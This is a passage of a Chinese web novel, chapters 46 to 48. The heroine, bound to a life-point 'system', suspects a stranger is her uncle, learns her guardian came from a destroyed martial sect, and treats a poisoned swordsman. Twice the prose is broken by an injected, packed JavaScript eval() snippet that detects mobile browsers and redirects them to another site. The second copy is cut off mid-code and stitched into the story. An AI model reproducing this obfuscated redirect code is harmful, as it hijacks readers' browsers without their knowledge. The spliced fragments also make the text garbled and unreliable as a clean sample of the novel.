晏璇睡着的时候一切平静,外界没有能威胁到她生命值的东西,至少从她的体感上来说没有受到伤害,那是哪里出的问题?跟做梦有关? 她只是隐隐约约梦到了两个人,与他们说了几句话。 晏璇:【生命值变动只和两方面有关,一是我自己行善积德可得加分,二是身体遭受意外及自然衰减。】 小九:【是的。】 晏璇:【根据这点,生命值波动是否与我的梦境有关?比如说我在梦里遭受攻击导致现实中的我受伤?不然,排除你们的数据受损问题我暂时想不出其它原因。】 小九:【梦境不会关联现生,除非有人有言灵般的能力。宿主梦到有人伤害你了吗?】 晏璇:【伤害倒是没有,只是有个人在梦里不断告诉我,我不是晏璇。如若我真的是别的什么人,‘晏璇’的生命值就会不属于我吗?】 晏璇顿了下,似是摸到了某些关窍:【或许我说的有些拗口。身体是实打实的,要是灵魂什么的不是原装的呢?毕竟都有你这般诡异存在,灵魂转换也不是不无可能,是吧?】 小九叮的一声发出警报:【宿主小心,梦里出现的人物极有可能拥有言灵级的能力,祂通过植入意识不断抹杀宿主现有的存在,我要向上级报告!】 同珩有特殊能力?事情越发玄幻起来了。 晏璇:【你……觉得同珩有那么强大的能力?】 小九:【原来宿主说的是他。我没有在他身上感应到特殊,所以他是普通人,但不能保证没有其他外来侵入者借他的躯壳做一些危险的事。】 晏璇撑着头突然一笑:【小九,我还从没见过你这样认真的样子,显得……很靠谱。】 一团萤绿的小九忽的反而暗淡下来:【宿主我知道的……牠们都不看好我,偏偏我也不争气,系统考核永远垫底。】 晏璇:【别沮丧,还有我,不会嫌弃你的。】 小九不无感慨:【宿主……】 晏璇:【快去调查事发原因!我要是死了你就真成系统之耻。】 小九:【……】 晏璇心里也是不大信小九猜测的,这个世界怎么看都只是个普通的武侠世界。 可要是真的是同珩在影响自己……就为了和自己认个亲?太荒谬了,晏璇不仅觉得他有些疯,自己也被带着胡思乱想。 每个经历过的世界她还记得,身边没有出现过同珩这样的人。偏到了这一世她的身世出了问题,还扯上了投胎转世、灵魂转换的说法,会是巧合吗? 真要有投胎一说,空间和时间的跨度都不能保证两个生命如此无缝衔接。 晏璇越发觉得自己可笑了,怎么脑子里还真研究起这种玄乎的东西。 她不是晏璇会是谁?同珩的姐姐妹妹,还是哥哥弟弟? 说起来她当初喊对方叔叔,他确实好像一脸不自在,还让她换个称呼。辈分摆在那,他还想怎样?只有他一个人一厢情愿把她当成别人。正如花奕说的,他说自己是舅舅都比被他认成兄弟姐妹好受些。 舅舅…… 舅舅? 舅舅?! 晏璇:“……” 她突然心跳加快深喘起来,吓得趴在角落里的小九滴滴滴个不停,像是打起了电报。 小九:【宿主,我已经提交加急报告,请再坚持一会!】 晏璇愣愣地看着虚空,不知说什么才好。 长久以来,她忽视了很大一个问题。已知她亲生爹娘大概率生活在郦城,至少在她出生前是的。依据那个戴面具的混蛋的说词,她亲爹可能是个读书人或是有些家底的小少爷,因为爹娘说她的襁褓就不是一般人家用得起的。那她亲娘呢?她是什么背景,和她爹在一起前她在哪? 面具混蛋看清她的眉眼就笃定了自己是他找的人,只能是因为她长得很像谁,不是她爹就是她娘咯。如果是长得像爹,面具混蛋失了魂一样描画她的样子,她会觉得他是变态。显然不是,且从他对她亲爹那种不屑愤恨的语气中分析,她认为此人更在意或是更恨她亲娘。还有此前丢失的画像,更不必说同珩,她的相貌似乎吸引了很多人的在意。 同珩说没见过那位十八岁后的模样,是那时发生变故分开了?那……有没有一种可能,那位在某个地方遇到了自己的心爱之人,然后两人结为了夫妻?而后夫妻双双又发生了意外,任凭同珩在这个世上如何找寻,都没有那个人的身影,只在十几年后遇到了那人的后人…… 许多小细节、不曾在意的话语丝丝缕缕地在晏璇脑中冒进冒出,而后又不断连结成网。这张犹如迷雾织就的网中,她亲娘成了关键人物。 晏璇扣挠着手中的帕子,得出了一个离奇又觉得合理得令人瞠舌的结论。 同珩……可能是她舅舅。 到底是不是,应该还有她未曾注意的点可以验证…… 小九见晏璇抓耳挠腮万分痛苦的样子,忙建议:【宿主,你之前不是用自己的血液炼制了保命丹药?要不吃一颗吧,吃了总比不吃好。】 药…… 晏璇一下抬头,脑袋磕在床栏上,发出“咚”的好大一声。 她疼得瑟缩了下,动静过大又磕碰到了伤腿,上下疼得龇牙咧嘴,可她的眼神亮极了。 晏璇对同珩下过两次药,她一直疑惑为什么他可以毫发无损,怀疑过自己的药也怀疑过是不是他双眼如炬看穿了一切。偏偏漏了另一种可能,要是他和自己有着类似的来自于同族血脉的体质呢? 最近,她还有一点新发现,自己的避毒能力并非百毒不侵,而是会延缓药物发作 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“阿璇,你出了好多汗。”花奕将她扶正道。 孟珎见她懵然似从梦中醒来,哪会想到这一短短的时间晏璇经历了什么,只关切着道:“我去打些温水来。” 随着两人帮着她擦汗换衣,晏璇自己渐渐冷静下来。 “方才,我做了个噩梦。”晏璇道。 花奕笑道:“多大人了,还会被梦吓到?” 这梦确实挺吓人的,快把她攒了多年的生命值都吓没了。晏璇抿了抿嘴,而且奇怪的是,方才她在心里得出结论之后,红色的生命值就没往下降了。 “或是今日在街上受了惊,晚些我再熬些安神汤。”孟珎道。 “别。”晏璇眉头一皱,苦笑着摇起了头,“最近喝药喝得舌头都是苦的,我闻着身上都是一股药味。” “你身上哪天没有药味,可怜的小药罐子。”花奕叹道。 孟珎想了想:“那不喝药,我制一些蜜丸你带着,当成小点心想吃的时候再吃。” 晏璇勉强点点头,以往她也会做一些类似药丸的零嘴,现在她的百宝袋里更多的是救人和杀人的东西。 “师兄。”在找同珩之前,晏璇想先弄清楚其他几个疑问,稍作思忖之后便问,“那个披云堂和你有什么关系?同珩……为什么要那样说?你……” 花奕瞄了眼孟珎,悄悄往后坐了坐。 “别担心,我和他没有恩怨。至于披云堂,我确实学了他们的武功,所谓的关系只有这个。”孟珎微叹道。 晏璇好奇道:“你何时学的?这些年,你不是都在雾山上吗?” 花奕又朝孟珎瞥去一眼,好家伙,她怎么没发现这人的脸皮厚如城墙,装相起来半点不虚。 晏璇将他二人之间的暗涌看在眼里,说明孟珎学武这事花奕是知情的,至于为何遮遮掩掩支支吾吾,是因为不方便道出那个施教的人? 毕竟披云堂已经是个不存在的门派了。 不想,孟珎直接了当,不无隐瞒:“是在雾山上学的,只是……我不好说出师父的名姓,我答应过他。” “嗯?”晏璇愣了愣,这偌大的雾山笼统就他们几个人,孟珎去和谁学? 话说,他们几人中好像就她不会武功。 晏璇看看孟珎怀着歉意的目光,又看一眼如老僧入定过分端着的花奕,舌尖滚过几个名字。 “那人是林叔?” 对面两人的眼神俱是一动,真是林叔…… 林叔是披云堂的人,和同珩是……仇人? 46. 第 46 章 亲友、仇敌亦或亲友变仇敌,一个经典的颇具武侠风味的命题猝不及防摆在晏璇面前。 她眯起双眼,第一次蓦然感受到某种恶意,醍醐灌顶似的,世界早在她眼前展卷她却忽略了它的调性,刀光剑影掺着错综复杂的人物关系和宿命般的情感纠葛…… 她习惯了旁观,即使在同珩出现时已自省过,前几世的早逝加之晏家和雾山长期的简单生活令她对某些东西缺乏敏感。 以为自己是偶然的界外闯入者,遇到例如孟尧这样的代表人物也是淡定,殊不知在生命诞生之初就已步入迷雾棋局。 她不是世界中心,却是她这个故事的主角。 这是否算是一种迟来的醒悟还是算顺着故事发展的自然展开? 小九或许知道什么,但是它的本质阻断了晏璇窥探的道路。她的身世初露端倪已不简单,根据世界特性,身边大抵也是些藏龙卧虎的。 只是她从一开始就是摆烂的态度,活着都很难了还要她去关心什么。她甚至吐槽过自己是短命的炮灰女配,也没想拿回主场去探索这个世界。 听起来很可惜,换个事业心强一点的,说不定早在多年前就干到某组织神秘领头人了,那些穿越小说的创作内容怎么不算是某种人生范本。 她后悔吗?本性惫懒的人若是从头再来,她自保之余顶多对身边的人多一点好奇。 所以,林叔到底是个什么样的人? 晏璇出生的时候,他已经是晏家的管家兼护卫。她睁眼看到的第三个人就是他,虽然模模糊糊的,但能闻到他身上有种特别的木香,干净冷冽。 他淡漠、冷肃、不苟言笑,完全不似寻常人家的护卫。第一次抱着她的时候他伸着双臂,僵硬得像是捧着什么绝世杀器。晏璇瞥一眼他瞪圆的狭长凤眸,兀自睡去。 “夫人,她、她好像没有气息了!” 不一会,总是表现沉着的男子急得在原地乱转,伸手要去探她的鼻息,直到耳边响起晏时蕴促狭的笑声。 “阿靖从前一定没有看顾过小孩。” 卢晚茵从林靖手中接过她,哼道:“五十步笑百步,不知是谁夜里要吵醒女儿几次。” 两个男人顿时面面相觑。 后来,她开始学走路了,跌跌撞撞的,身后永远跟着一袭青衣的他。 再后来,她大一些可以满院乱跑,身体却出现问题,动不动就会发烧生病,卢晚茵不准她出院子,更不准她爹对她有抱着举高这种行为。于是,她悄悄对林靖勾手指头:“林叔,飞。” 林靖左右张望过后,肃着脸道:“只能玩一会。”随后,他会在她面前蹲下,任她爬着骑上他的肩头,一眨眼,一大一小两个身影就已落在屋脊之上。 林靖会扶住她的双臂,在屋顶上待着晒会太阳,他身法了得,在空中的步伐如脚踩莲台般轻巧。晏璇得了些乐趣,院外她本就不想去,每每爹娘不在就会央林靖带她玩,或抱或背,从东院逛到西院,在梅玉彦出现之前,他是她第一个玩伴。 无数个日夜,林叔就像她半个父亲般的存在,她见证了他从最初的冷淡无趣到偶尔会开玩笑,会跟她约定暗号的人生变化。他总是放低姿态说要报答他们一家,对外却从未露怯,身上隐隐有着一股傲气。 那时晏时蕴还和素慧大师有往来,晏璇就瞎猜爹娘是什么退隐江湖的高人,林叔则是追随他们的下属。小九嘲她想象力丰富,她现在想想不过是自己猜错方向了而已。 林叔是披云堂的出身,而披云堂已遭灭门,他指的恩情会是爹娘对他的收留吗,他才是那个退隐的高人? 倘若她对武学有一知半解,看得懂招式,林叔那独树一帜的轻巧步法,当孟珎第一次在她面前复现的时候,她就该想到了。当初离开斛县,林叔会为师兄说话,实则都是基于对自己徒弟的了解和信任,还有花奕望向孟珎的怪异眼神,不知是不是在震惊他的定力。 晏璇不察,老实人孟珎也是一演多年。她在装纯真扮好人,其他人也在扮不熟,扮普通,还有的在角色扮演,这个世界上人人都戴着面具。 沉默许久,她抬眸,面色平静道:“我饿了。” “哦哦,有刚熬好的粥。”花奕侧头,瞪了眼傻愣着的孟珎。 才交过心就遇到了两难的问题,孟珎无声轻叹,转身从桌上的托盘上端过粥碗,面露一点笑意:“是山药红枣粥,你喜欢喝的。” 他用勺子搅了搅,舀了小半勺粥喂到她嘴边。 晏璇盯着勺子未动,对面两人一副屏气凝神的模样,气氛都变得凝滞起来。 如此怕她生气?晏璇心中好笑,其实她没什么被欺骗的不适,林叔有隐藏过去的权利。他们紧张表示在意,在意她会不会惹上麻烦,不对她说那些也只是思虑过后的决定。 晏璇咂摸了会,看来她还挺会自我消解的。无他,这些人太好懂,即使演戏都是偏向她的。 否则,她的面具不会有摘下的一天。 嗯……要不要逗逗他们应个景? 晏璇微微后仰退开一寸,伸出手道:“我可以自己来。” 她过分的安静令两人惴惴不安。孟珎显然有些无措,他不大会为自己辩解也缺乏哄人的经验,只得先把碗递给她:“小心,还有点烫。” “嗯。”晏璇接过,垂眸默默小口吃着。 花奕双手平放在腿上,时不时就搓动一下:“那个,阿璇……我们不是故意的。” “嗯,是有意的,我懂。”晏璇低声道。 花奕“哎呀”一声,急得锤了一下床角。 晏璇转了眼眸盯着被花奕捶打那处,嘴角微抿。原来无理取闹使性子是这种感觉,花奕这个直肠子可要憋坏了,她今天就任性一回。 “听姐姐的,别乱想!”花奕坐近了些,瞥一眼孟珎道,“江湖上的恩恩怨怨容易招来祸患,林前辈他……出身特别,也是为了你好。还有孟珎,之前他武功那么差劲,不多学着点今天都只能干看着你被欺负。” 孟珎投去微妙一瞥:“……师姐说得是。” 晏璇掩唇轻咳忍住笑意,点头应道:“嗯。”花奕能有为孟珎说话的一天,也是难得了。 花奕见她情绪仍是不高,继续道:“我没有怪你不好或者拖后腿的意思,你可是我们之中的大药师,炼药本领是我娘都夸赞了的。” “有人要迫害林叔?是披云堂的仇家吗?”晏璇问。 “这个……当年我年纪小不清楚,关于披云堂江湖上的人也是讳莫如深,貌似是有人觊觎武学功法引发的血案。前辈能逃过此劫,必是不易。” 披云堂既是受害方,江湖中人为何要缄口不言,难道他们也对独家武学存着异样的心思还是……血案另有隐情? 晏璇用勺子刮着碗底,脑中深思不断,眼前给到的线索还是太少了。 手中的碗突然被人端走,晏璇一愣,见孟珎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14131543|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正低头凝视着她,他眸光粼粼,眼底晦暗不是委屈胜似委屈,脸上带着小心翼翼的谨慎。 “林叔的事,你有任何想知道的我都慢慢告诉你,不要置气。”说着,他伸出另一只手掌,“从前你说从高处往下望时,烦恼也会随风吹走,我带你去城中的阁楼逛逛,好不好?” 孟珎声线低柔,是一贯在晏璇跟前的语气。 花奕受不了似的低“啧”一声,嫌恶得看向孟珎:“这男人要是想,什么花言巧语都能想出来……” 晏璇眼瞅着孟珎的脸慢慢涨红,连脖颈都有些发红的迹象,他在她面前好像永远有着少年人的稚嫩和羞涩。 “今天没心情,”她哼了声,看着某人欲要收回的手缓缓笑起来,“啪”的一声重重拍在他掌心,“也没生气,就是……想看看你和奕姐姐坐立不安的着急样。不过下回,就不一定了,我可是很小心眼的。” “小晏璇啊……”花奕一把搂住她的肩膀,摇晃着她,“真的假的?你连姐姐我也要吓。说起来,都怪姓孟的呆子,我可不背他的锅。” “师姐,快放开阿璇,她的头还晕着。”孟珎刚放下的心又提起来,嘴角的笑意都还未褪。 在花奕这种直来直去的人面前,晏璇还真不好发脾气,情绪来得快去得快,凡事都要和你当场讲明白,和孟珎内敛的处事风格截然不同。 晏璇揉了揉脑袋,叹道:“真的不得了。不过,我还是想知道林叔的事。” 孟珎斟酌道:“披云堂的过往,他没有多说,只道当年有人犯了大错,但斯人已逝,门派不在,不必追怀。” 谁犯了错会导致灭门?晏璇微微拧眉:“那同珩会跟林叔有关系吗?他提到的凌羽又是谁?” “凌羽……我知道是谁!”花奕接道,“披云堂的每代掌门都姓凌,据说作为最重要的传承弟子都会改为凌姓。” 晏璇了然:“他一见面就质问师兄,是不是以为师兄的武功出自凌羽?难道……林叔就是凌羽?!” “未必。”孟珎递给她一个安抚的眼神,“十几年前的掌门凌羽大概是个四十来岁的中年人,林叔的年纪对不上。” 那同珩是怎么跟披云堂发生恩怨的?看他对自己呐喊,宁愿不与她相认见面也不许她和疑似披云堂传人在一起,这般的仇恨可谓是不共戴天之仇了。 难道…… 晏璇的心脏停顿半拍,她有点愤恨起这个世界的调性。如果硬要往那个充满恶趣味的剧情方向猜,同珩与披云堂的灭门之灾脱不了干系了…… 若同珩真的与她有血缘关系,那她跟林叔就会是她一开始预见的那样,即使她对过往一无所知,纠葛的感情线依然会将他们缠绕至死。 好一个流氓般的世界运行法则。 孟珎见晏璇突然沉默,神色凝重,关切道:“怎么了?是在担心林叔?” 林叔远在斛县还好,眼前的同珩才是大问题,要是让他知道自己是林叔带大的,真怕他又要发疯或是逼她发疯。 晏璇沉出一口气,暂且无奈地摇摇头。 “咚咚咚”,门外突然响起了敲门声。 “我让晏曜练功去了,这会应该不是他。”花奕说着,起身去开门。 半敞的门外,一身素色道袍的女子站立着,她面露焦灼,举手作揖。 “可是有位晏姑娘在此?峋山派内门弟子纪霜叶特来求助!” “请晏姑娘救人一命!” 47. 第 47 章 晏璇和系统绑定之初,对方偶尔会读她的心声,后来她警告了几次,不清楚小九有没有再犯,她直觉里它没有。 但无论它偷听了什么,做出人生选择的仍然是她自己,她只是会有种淡淡的被人窥视的感觉。为什么会被系统选中,大概跟她能活那么多世脱不了干系。回顾以往,从她绑定系统遇到师父孟尧开始,她走的每一步都像在冥冥之中。 中间或有曲折,最后事情做着做着就牵扯到大人物身上去了。而她因为够咸,每次只小演一把点到为止,也不想掺和到麻烦中以至世界线推进缓慢,她就安安稳稳活一世不行吗? 红色的生命警戒值告诉她,不行! 晏璇:【小九,那些莫名其妙丢失的生命值不能还回来吗?】 小九:【……目前看来不能,但是不排除有修复可能。】 晏璇:【无耻。】 也不知道是在骂系统还是骂世界,反正不可能骂疑似引起波动的同珩,人家这些年没疯是对这个世界最后的尊重。 虽还未与他正式相认,晏璇已经下意识将他划入了自己的小阵地。 小九:【宿主,现在数值稳定但是岌岌可危,需要大量功德补充,门外那个……要不救一下?】 晏璇每天窝在房里,哪个会知道她的身份?难道不该是来寻孟珎的?师兄起码每日里药房后厨来回跑,客栈里的人大多能见到他熬药的身影。 疑惑间,听花奕“咦”了声:“你……我见过,是商陆旁边那个姑娘。” 纪霜叶似松了口气,拱着手道:“女侠好记性,还不知女侠是哪个门派的师姐。我乃峋山派弟子,商陆的师妹。师兄此次不慎重伤,我特来求晏姑娘出手相助。” “姓商的受重伤了?”花奕将来人再次上下打量一番,“可你怎么知道这里有个姓晏的姑娘,还能治病救人?” “是……一位不愿透露名姓的好心人告知,我们遍寻了城内的大夫无计可施,不得已才来打扰诸位。”纪霜叶欠身一拜,“女侠面对殷数那般恶徒挺身而出,是何等嫉恶如仇的侠义风范,同为江湖儿女,霜叶深信女侠定会施以援手,我峋山派也是感激不尽。” 好一张利索的巧嘴,这可不像峋山派平日里假正经的做派,清高又自傲,眼睛跟长在头顶似的。之前,他们同行弟子还喊她妖女来着……花奕扬了扬眉,不是很想戴这顶高帽。 不过,她也不喜为难人家小姑娘,姓商的要是伤重不得治,破妄刀以后若没了对手实在可惜。 花奕面上一点浅笑,带着几分疏离:“纪姑娘过誉了,我不过清溪山上一讨生活的,会点拳脚功夫罢了,担不起女侠二字。至于救人,我与晏姑娘只是相识,还得问过她本人才是,可不能强人所难啊……” 纪霜叶一愣,恭敬道:“姑娘所言甚是。” 花奕轻阖了门,转身走至床前:“阿璇,峋山派姓商的受伤了,你愿不愿给他看一看?算了,你腿脚不便,让孟珎去瞧一瞧。” 孟珎略略皱眉,他虽是医者却向来不愿多管闲事,有时便显出几分冷漠无情。可若是晏璇要求的,他…… 甫一低头,孟珎便对上晏璇微亮的双眸。她有些促狭地看着他,似将他之前的那点不耐尽收眼底。 “阿璇……”他忽的有些局促,晏璇会不会觉得他心思不纯,不够宅心仁厚。 晏璇只默默收回了目光,师兄一如既往的好懂啊,她轻勾嘴角,理了理垂散的长发:“去啊,大家一起去。我也想知道哪个好心人竟认识我这种无名小辈。” 好心人……有心人还差不多。 晏璇收拾妥当,孟珎将她扶坐到轮椅上,身上背了她的袖珍药箱,倒像是大大夫身边的小跟班。几人出了房门右拐,没想到不过几步远就是商陆下榻的地方,差点忘了他们同住一家客栈了。 房内药味混着血腥味,床边上有着不少带血的纱布条,几名素袍弟子围在床前小声议论。 “大师兄受了毒伤,得尽快回峋山找师叔才行!” “此去峋山免不了颠簸,大师兄不宜再动,师姐已经传信给师父了。” “好不容易逮到姓殷的,结果又让他伤了人跑了!” 纪霜叶轻叩了下房门,忍着怒气道:“不是说了大师兄要静养,为何还在此吵闹?” “大师姐!” 毛头小子们低呼一声,纷纷退开,待见到纪霜叶身后几人又是惊讶,有人喃喃道:“是那妖女……” 纪霜叶秀眉一竖,低喝道:“方御慎言!他们是来给师兄治伤的医师。” 她侧身对着晏璇几人歉意笑笑:“小弟子年少气盛不懂事,之前多有误会,请诸位莫怪。” “好说好说。”花奕盯着马尾少年笑道。 少年方御憋红了脸,犹豫半晌抬手作揖道:“抱歉,是我莽撞了。” 晏璇和孟珎只管朝床榻上的人看去,只见那人面色青白,嘴唇干裂,垂下的长睫偶有颤动,之前匆匆几瞥,只觉是个碎玉般的冰霜男子,不过分开小半天就已是这般憔悴模样。晏璇凑近了瞧,男子高鼻薄唇,眉如青黛,紧闭的双眼遮了一贯的冷意,确实是个十足十的端方公子,难怪这人一出现,奕姐姐的目光就被引走了。 晏璇暗自点头,手上不时捏捏商陆的臂膀,看看他的脸色又抬起他的手掌细看。 “身上几处划伤不严重,只是中了一种令伤口难以愈合的毒,此外就是有些内伤了。” 孟珎取出银针扎在商陆泛着青色的手背上,补充道:“应该是拼掌力的时候被下的毒。” 比起明月阁那回,殷数的毒又起了变化,面对这么多顶尖高手,他也算使出浑身解数了。 纪霜叶他们只知商陆中了毒,却不知解法,听晏璇轻松道来的语气,心下一喜,忙问:“晏姑娘,师兄的伤可有治法?” 晏璇接过孟珎递过来的帕子,边擦手边道:“要解毒不难,只他身上不止一种毒,我需要取他的血研究后调配解法。师兄,他伤口难愈可否用针灸法化解?” 孟珎轻捻银针,一丝乌血从商陆指尖渗出。他拿白布拭去,点头道:“针灸辅以药浴,可暂止。” “一切听姑娘安排。”纪霜叶从旁道。 于是,等准备好药浴的浴桶,男弟子们协助孟珎去屏风后给商陆施针。晏璇重新回了自己的屋子,桌上又是堆放了各种药材,花奕和晏曜都在一旁打下手。 “殷数……到底是何来历?”晏璇问道,她真的蛮好奇这人是从哪学来的一身毒术。 纪霜叶帮着磨药粉,听后答道:“据传他是鬼医欧阳馗的弟子,真相无人得知,只是他这身使毒的本领很有当年老鬼的影子。” 鬼医……又一个没听过的名字,师父那个老江湖应该知道。 “我一路来,听闻此人恶贯满盈,他与你们峋山派是有什么恩怨?” “晏姑娘真是难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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依着晏璇几次接触殷数,他会与人激战然后将其割喉?面对外门弟子这种低武水平,她更愿意相信他直接撒毒,然后将人一剑穿心,正如明月阁里他大开杀戒那般。 “阿璇?可是被吓着了?”花奕凑到她身边,问道。 晏璇摇摇头,浅笑道:“我与他无冤无仇的,不怕他害我。” “这可难说,那人神经兮兮的,你忘了他突然挟持你又突然把你扔下的事了?”花奕拧眉道。 纪霜叶附和:“是啊,晏姑娘心宽是好,也要有警惕心。” 晏璇:“……” 沉默许久的晏曜上前道:“下次,下次我一定会保护好小姐的。” 晏璇扫过几双忧心的眼睛,张了张嘴道:“嗯,我知道了。” 她望着眼前开始起泡的小药罐,突然道:“对了,纪姑娘,你可听过披云堂的事?” “披云堂?”纪霜叶望望她,又望一眼花奕,迟疑道,“十多年前此门派就不在了,晏姑娘为何有此问?” “哦,我曾听说此门派轻功一绝,可惜后继无人,也不知他们当年是遭了什么人祸害?”晏璇惋惜道。 花奕盯着晏璇神色,眼波一转,双手轻敲道:“是啊,未曾得见当年独步武林的神功,实是可惜。” “唔……”纪霜叶思索片刻,犹疑道,“关于披云堂,我门中有令不得提及,实则我也不是很清楚当年的事。或许大师兄知道一二,只是他现在……” 正说话间,门口传来方御的声音。 “师姐,大师兄醒了!” 晏璇和花奕对视一眼,巧了不是。 48. 第 48 章 夜幕低垂,晚风褪去些热意轻轻拂过窗棂。晏曜合上窗,又在屋里点上灯,举着灯盏站到晏璇身侧。 空气中药粉的苦味和蜂蜜的香甜味交织在一起,晏璇捣腾着手里的药丸,偏头瞥了眼稍显沉寂的少年。 “小心烛油滴到手上,烫伤了还得配药。” 少年垂着的眸子渐渐亮起,他抿着嘴露出一个浅笑:“不疼的。” “谁问你疼不疼,小笨瓜。” “小姐,白天的时候我不听话,你……是不是生气了?”嗓音轻轻,晏曜低着头问她。 “我生气与否,你都不会听,何必再问。”晏璇哼了两声,语气中满是讥诮。 “再也不会了!”晏曜匆忙道,手上的灯盏因为用力晃动了两下,烛火摇曳,“小姐,对不起……” 晏璇演戏演习惯了,一些做作的行为也不觉恶心了,偶尔懒得装,那个咸鱼摆烂的自己才会跑出来。小呆瓜被她骗得不轻,从初时的唯诺哑巴变得会看她的脸色说话,甭管说的什么,起码敢开口表达了。 当初救他的若是别人,巴不得他这副忠心不二的样子。可晏璇,夹了太多私心,也不是为了让他报答,该让他明白她和别人还是有些不一样的。 手上的蜜丸已经成形只等冷却,晏璇净了手拿帕子擦干,再拿出自制的护手药膏,用指尖沾了少许细细涂抹双手。每次做蜜丸,还是徒手来得方便,她也更容易拿捏准度,可有的药药效过于强烈,不做一些善后处理不行。 “你后背的伤都好全了吗?”晏璇揉捏着指尖问道。 晏曜将灯盏放回到灯檠上,点着头道:“嗯,谢谢小姐送我的药。” 他说完,又帮着晏璇整理杂乱的桌面,需要清洗的器具都放在一个小托盘里。 “小心些,那里面有一种叫乌星草的草药,若沾了一点可是要肠穿肚烂的。”晏璇道。 晏曜的动作一顿,脸上倒不见惊吓,他睁着他的圆润大眼迟疑道:“可小姐用手碰了,没事?” 这会恢复惯常的冷静了……晏璇一本正经道:“我才刚不抹了解毒的药膏。” 晏曜盯着她的指尖一会,觉得唐突忙撇开了眼,颊上透出微红:“那个……不是小姐拿来护手的?” “谁说那是护手的……”晏璇恰到好处的惊讶令晏曜呆愣当场。 接着,她又煞有其事捻了一根银针,随手插入桌上某味药材中。少倾,晏璇取出银针,暗黄的烛光下,银针一端泛起乌黑的光泽。 晏璇将银针递到他面前:“我既会炼制伤药,自然也会些夺人性命的手段。早与你说过的,我不是什么好人。” 晏曜凝视着针尖,又想起白日里的一幕幕,小姐不是怨怪他不自量力的出头,是他自作多情了,她只是…… 少年走近了些,脸上一扫之前的阴翳,反而露出些欣喜:“小姐,这里面没有什么令人肠穿肚烂的药。我明白的,下次再也不会擅作主张了,我会学着自保不拖累小姐的。” 小子怎的开窍开得如此猝不及防,还有他一脸傻笑是几个意思,晏璇都有些迷糊了。 她轻咳一声:“你明白就好。一起去隔壁房间吧,纪姑娘该等久了。” 纪霜叶被方御喊走后,晏璇继续药丸的炼制,花奕被她央着去打听同珩的下落了。一听要找那个男人,花奕皱紧了眉头,晏璇一时解释不清,只说之前同珩借走了自己一样很重要的东西,奕姐姐只管跟他要就是了。 花奕想着,早些把东西取回早些跟那个危险的男人撇清关系。 晏璇被推着进了商陆的房间,几个弟子还候在一旁,孟珎收针起身,换了一身白色寝衣的商陆靠在床头,轻扯衣袖遮住了手背,床前的小瓷碗里有点点乌血。 “止了血后就可以适当喝些汤水了。”孟珎道。 纪霜叶在一旁点头称是:“多谢孟公子。” 孟珎则是越过她看到了她身后,冷峻的面庞松懈下来,眼神中含了些温情笑意。 纪霜叶一愣,侧头看到晏璇,笑道:“晏姑娘。” “商少侠可好些了?”晏璇摇着轮椅凑近了些。 商陆原本青白的脸色因为热水的熏蒸带出一丝红润,发尾被浸湿此刻有些湿漉漉的披散在肩头。他对着晏璇微微颔首,只是卧榻也不失一门大弟子的气势,吐气稍显虚弱道:“好多了,多谢孟公子和晏姑娘。” 他顿了顿,抬眸又道:“殷数擅使毒,江湖上对他多束手无措,今日若不是二位,我也难逃一劫。恕商某冒昧,二位可是出自药王谷?” “药王谷?听过却不认识。”晏璇谨记孟尧教诲,目露几分疑惑几分笑意,“少时我体弱多病前去山中求医,幸而被师父收为弟子,师兄亦是他老人家收养的孩子,我们常住山中对江湖事多有不懂,此前还要谢谢纪姑娘对我的提点。” 晏璇这话说得可半句不假,就算花奕是药王谷的又如何,她确实不认识那个地方。孟珎跟着点点头,维持着他寡言少语的模样。 纪霜叶倒是有些汗颜,忙道:“晏姑娘言重,是我逾矩了。” 商陆的视线从晏璇渡到孟珎身上,冷冽的眸子静静凝视着他:“竟不知哪个隐士有如此大能,孟公子的武功应该也是承继尊师,在江湖中可算上乘,实属难得。” 孟珎只是垂眸,淡淡回道:“过奖,不过是些防身的拳脚功夫。” 纪霜叶眉头微跳,一个两个都只是会些拳脚功夫,若认真起来不得在江湖上掀起不小的风波。还好,这几人看着面相和善,又救人于水火,不像藏污纳垢之辈。 “花姑娘之前说她来自清溪山,莫非二位也是?此地真是人才辈出。”纪霜叶道。 晏璇不知道什么清溪山,花奕说这个大概只是想掩盖自己的真实出身,思索间听孟珎淡然道:“我们与她只是下山后偶遇,不曾去过清溪山。” 商陆突然低咳出声,顺了顺气,他放下掩唇的手道:“清溪山曾出现过一个剑法了得的前辈,陈晟陈盟主在闯荡江湖之初还受过此前辈的指教,可惜已归隐过年,那个地方也不算令人陌生。” “那个前辈可是姓风?我似乎听师兄提过,江湖上于剑术一道有所成的恐怕没有师兄不知道的。”纪霜叶笑道。 商陆轻点了下头。 晏璇静静聆听,商陆不愧是峋山派大弟子,似乎在武学上特别有钻研。他不仅注意到了师兄的武功,对多年前不在江湖上走动的人物也有所了解,她不信他没看出师兄的招式路数,对披云堂想必知道些什么。 当商陆忍不住再次咳嗽出声,晏璇适时递上蜜丸一颗。 “商少侠,师兄虽为你暂时针灸祛毒了,可你体内还有几种残毒腐蚀身体,需要连续服用药汤七日,此外,这是我特制的解毒丹。” 商陆顿了一瞬,接过药丸小心吞咽,他拱了拱手道:“劳晏姑娘费心了,我能捡回一命多亏二位相助,不知该如何回报。” “我们山里人讲究实在,只需些诊疗费即可。”晏璇腼腆一笑,之后露出少许为难道,“只是,我想请教几个问题,希望商少侠能够解惑。” 商陆:“晏姑娘但说无妨。” “听纪姑娘说,是有人指引……你们才知我会些医术。”晏璇看了眼孟珎,继而道,“我与师兄下山不久,对此地更是人生地不熟,不知是哪位友人相告?” “这……”商陆眼睫微垂,眸中一汪冷泉荡起涟漪,他张了下唇道,“确实是我们唐突,在我受伤昏迷时,纪师妹偶然收到了一张匿名字条。” 